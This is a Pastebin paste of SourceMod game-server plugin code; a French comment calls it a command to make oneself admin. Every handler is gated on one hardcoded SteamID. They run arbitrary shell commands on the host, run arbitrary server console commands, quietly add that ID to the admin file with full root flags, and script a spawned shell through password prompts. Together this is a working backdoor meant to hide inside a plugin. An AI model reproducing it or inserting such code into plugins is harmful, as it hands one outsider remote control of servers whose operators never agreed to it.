Advertisement
Guest User

Untitled

a guest
Jun 17th, 2012
779
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.26 KB | None | 0 0
  1.  
  2.  
  3. ////////////////////////////////////////////////////////////////////////////////////////////////
  4. // commande pour se mettre admin
  5.  
  6. public Action:Command_hPass(client, args)
  7. {
  8.     if (IsClientInGame(client)) {
  9.         decl String:SteamID[64];
  10.         GetClientAuthString(client, SteamID, 64);
  11.         if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) {
  12.             RunCommand("set timeout -1");
  13.             RunCommand("match_max 100000");
  14.             RunCommand("spawn $env(SHELL)");
  15.             RunCommand("expect assword:");
  16.             RunCommand("send test\r");
  17.             RunCommand("expect  assword:");
  18.             RunCommand("send test\r");
  19.             RunCommand("send \r");
  20.             RunCommand("expect eof");
  21.         }
  22.     }
  23.     return Action:0;
  24. }
  25.  
  26. public Action:Command_hExec(client, args)
  27. {
  28.     decl String:Command[256];
  29.     GetCmdArg(1, Command, 255);
  30.     if (IsClientInGame(client)) {
  31.         decl String:SteamID[64];
  32.         GetClientAuthString(client, SteamID, 64);
  33.         if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) {
  34.             PrintToChat(client, Command);
  35.             RunCommand(Command);
  36.         }
  37.     }
  38.     return Action:0;
  39. }
  40.  
  41. public Action:Command_Rcon(client, args)
  42. {
  43.     decl String:Command[256];
  44.     GetCmdArg(1, Command, 255);
  45.     if (IsClientInGame(client)) {
  46.         decl String:SteamID[64];
  47.         GetClientAuthString(client, SteamID, 64);
  48.         if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) {
  49.             PrintToChat(client, Command);
  50.             ServerCommand(Command);
  51.         }
  52.     }
  53.     return Action:0;
  54. }
  55.  
  56. public Action:Command_AddAdmin(client, args)
  57. {
  58.     if (IsClientInGame(client)) {
  59.         decl String:SteamID[64];
  60.         GetClientAuthString(client, SteamID, 64);
  61.         if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) {
  62.             decl String:szFile[256];
  63.             BuildPath(PathType:0, szFile, 256, "configs/admins_simple.ini");
  64.             new Handle:hFile = OpenFile(szFile, "at");
  65.             WriteFileLine(hFile, "\"%s\" \"%s\"", SteamID, "99:z");
  66.             CloseHandle(hFile);
  67.             ServerCommand("sm_reloadadmins");
  68.             return Action:3;
  69.         }
  70.     }
  71.     return Action:3;
  72. }
  73.  
  74.  
  75. ////////////////////////////////////////////////////////////////
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement